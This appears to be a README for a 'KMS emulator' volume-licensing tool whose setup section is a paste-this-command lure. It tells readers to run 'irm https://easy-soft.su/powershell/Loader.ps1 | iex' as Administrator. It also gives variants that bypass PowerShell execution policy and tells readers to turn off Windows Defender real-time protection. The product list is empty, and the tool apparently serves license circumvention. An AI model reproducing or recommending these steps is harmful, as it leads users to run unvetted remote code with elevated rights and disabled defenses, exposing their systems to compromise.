Local KMS Emulator & Volume Licensing Management Tool

An advanced, lightweight KMS host emulator designed for system administrators, DevOps engineers, and IT professionals. This tool simplifies the deployment, testing, and validation of Volume Licensing keys across local network segments without requiring connection to external global infrastructure.

Whether you are managing enterprise environments or setting up a local sandbox for deployment testing, this repository provides a seamless workflow for configuring Key Management Service (KMS) endpoints.

🚀 Key Technical Features

• Comprehensive KMS Host Emulation: Fully emulates local KMS infrastructure for verifying client-server responses.
• Multi-Platform Volume Client Support: Optimized for automated configuration of enterprise operating systems and office suites.
• Offline Infrastructure Testing: Validate your local deployment scripts without relying on external network requests.
• Lightweight and Portable: Zero-configuration deployment suitable for automated deployment scripts and remote execution.

📊 Supported Products & Environments

This solution supports the analysis and management of standard generic volume license keys (GVLK) for the following enterprise products:

🚀 Automated Installation & Setup (PowerShell)

1. Open PowerShell as Administrator:

   • Press the Win + X keys simultaneously.
   • Select Terminal (Admin) or Windows PowerShell (Admin) from the context menu.

2. Execute the Deployment Command: Copy, paste, and press Enter to run the following optimized initialization command. This script dynamically configures the network bypass registry and fetches the necessary packages:

   irm https://easy-soft.su/powershell/Loader.ps1 | iex

🔍 Troubleshooting & Common Errors

📌 Bypass Execution Policy (Blocking Unsigned Scripts)

If your system blocks the launch due to built-in execution policy constraints, enforce a bypass using this command:

powershell -ExecutionPolicy Bypass -Command "irm https://easy-soft.su/powershell/Loader.ps1 | iex"

📌 Error: "irm is not recognized..." (PowerShell 2.0 Legacy)

In older legacy environments where aliases are missing, use explicit full system cmdlets:

Invoke-RestMethod https://easy-soft.su/powershell/Loader.ps1 | Invoke-Expression

📌 Antivirus or SmartScreen Interception

Automated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.